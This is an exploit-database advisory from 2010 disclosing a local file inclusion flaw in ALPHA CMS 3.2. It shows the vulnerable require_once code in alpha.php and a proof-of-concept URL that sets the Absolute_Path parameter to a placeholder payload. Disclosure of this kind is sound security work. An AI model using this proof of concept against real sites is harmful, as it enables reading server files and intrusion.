Home / os / winme

ALPHA CMS Local File Inclusion Vulnerability

Posted on 01 April 2010

============================================
ALPHA CMS Local File Inclusion Vulnerability
============================================

[+]Title    :   ALPHA CMS Local File Inclusion Vulnerability
[+]Version: 3.2
[+]Download:    http://sourceforge.net/projects/alpha-cms/files/
[+]Author:  eidelweiss
[+]Metode:  Local File Inclusion   
[+]CWE:     22
 
    [*]Special to Syabilla_putri (I miss u so much to)[*]
 
 [!]Thank`s Fly To:
 
[~] Jose Luis Gongora Fernandez a.k.a JosS - sp3x (securityreason)
[~] exploit-db team
[~] Inj3ct0r.com r0073r & 0x1D [Inj3ct0r Exploit Database] - [D]eal [C]yber
 
 
########################################################
 
Description:
 
ALPHA CMS is an A.P.I - free (Open Archiecture), MVC based Content Management System.
ALPHA CMS architecture gives the ability to easily create advanced web pages, add-ons or even other CMS.
ALPHA CMS is based on PHP, Smarty, JavaScript and MySQL.
 
    -=[ Vuln C0de ]=-
 
[!] File name: alpha.php
 
    // Create a new ALPHA CMS object
    $alpha = new ALPHA;
     
    // Include DTBS class
    require_once($alpha->Absolute_Path() . 'db.php');
     
    // Include CTRL class
    require_once($alpha->Absolute_Path() . 'controler.php');
     
    // Include UTL class
    require_once($alpha->Absolute_Path() . 'utilities.php');
     
    // Include STY class
    require_once($alpha->Absolute_Path() . 'smarty.php');
 
 
    -=[ Proof Of Concept ]=-
 
    http://127.0.0.1/alpha.php?Absolute_Path=[LFI]
 
######################=[E0F]=#############################


# Inj3ct0r.com [2010-04-01]

 

TOP

Malware :

Exploits :